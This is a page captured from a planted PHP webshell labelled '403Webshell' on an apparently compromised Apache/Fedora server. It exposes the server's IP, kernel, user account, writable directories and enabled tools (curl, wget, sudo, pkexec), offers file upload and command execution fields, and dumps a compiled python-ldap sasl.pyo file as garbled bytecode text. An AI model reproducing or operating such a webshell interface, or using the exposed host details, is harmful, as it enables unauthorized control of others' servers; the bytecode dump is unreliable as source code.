403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/ldap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/ldap/sasl.pyo
Ñò
•òÔGc@s¥dZdZdZdZdZdZdZdZdZd	dd
„ƒYZ	de	fd„ƒYZ
d
e	fd„ƒYZde	fd„ƒYZde	fd„ƒYZ
dS(s5
sasl.py - support for SASL mechanism

See http://python-ldap.sourceforge.net for details.

\$Id: sasl.py,v 1.13 2008/03/10 08:34:29 stroeder Exp $

Description:
The ldap.sasl module provides SASL authentication classes.
Each class provides support for one SASL mechanism. This is done by
implementing a callback() - method, which will be called by the
LDAPObject's sasl_bind_s() method
Implementing support for new sasl mechanism is very easy --- see
the examples of digest_md5 and gssapi.

Compability:
- Tested with Python 2.0+ but should work with Python 1.5.x
s0.0.3i@i@i@i@i@i@i@tsaslcBs eZdZd„Zd„ZRS(sThis class handles SASL interactions for authentication.
    If an instance of this class is passed to ldap's sasl_bind_s()
    method, the library will call its callback() method. For
    specific SASL authentication mechanisms, this method can be
    overriddencCs|ph|_||_dS(sò The (generic) base class takes a cb_value_dictionary of
        question-answer pairs. Questions are specified by the respective
        SASL callback id's. The mech argument is a string that specifies
        the SASL mechaninsm to be uesd.N(t
cb_value_dicttmech(tselfRR((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyt__init__+scCs |ii||ƒpd}|S(s— The callback method will be called by the sasl_bind_s()
        method several times. Each time it will provide the id, which
        tells us what kind of information is requested (the CB_ ...
        constants above). The challenge might be a short (english) text
        or some binary string, from which the return value is calculated.
        The prompt argument is always a human-readable description string;
        The defresult is a default value provided by the sasl library

        Currently, we do not use the challenge and prompt information, and
        return only information which is stored in the self.cb_value_dict
        cb_value_dictionary. Note that the current callback interface is not very
        useful for writing generic sasl GUIs, which would need to know all
        the questions to ask, before the answers are returned to the sasl
        lib (in contrast to one question at a time).t(Rtget(Rtcb_idt	challengetpromptt	defresultt	cb_result((s-/usr/lib/python2.6/site-packages/ldap/sasl.pytcallback3s(t__name__t
__module__t__doc__RR(((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyR$s	tcram_md5cBseZdZdd„ZRS(s0This class handles SASL CRAM-MD5 authentication.RcCs2h|t6|t6|t6}ti||dƒdS(NsCRAM-MD5(tCB_AUTHNAMEtCB_PASStCB_USERRR(Rtauthc_idtpasswordtauthz_idt	auth_dict((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRQs
(R
RRR(((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRNst
digest_md5cBseZdZdd„ZRS(s2This class handles SASL DIGEST-MD5 authentication.RcCs2h|t6|t6|t6}ti||dƒdS(Ns
DIGEST-MD5(RRRRR(RRRRR((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRZs
(R
RRR(((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRWstgssapicBseZdZdd„ZRS(sDThis class handles SASL GSSAPI (i.e. Kerberos V)
    authentication.RcCsti|h|t6dƒdS(NtGSSAPI(RRR(RR((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRds(R
RRR(((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyR`stexternalcBseZdZdd„ZRS(sSThis class handles SASL EXTERNAL authentication
    (i.e. X.509 client certificate)RcCsti|h|t6dƒdS(NtEXTERNAL(RRR(RR((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRls(R
RRR(((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyRhsN((Rt__version__RRtCB_LANGUAGERt
CB_ECHOPROMPTtCB_NOECHOPROMPTtCB_GETREALMRRRRR(((s-/usr/lib/python2.6/site-packages/ldap/sasl.pyt<module>s*		

Youez - 2016 - github.com/yon3zu
LinuXploit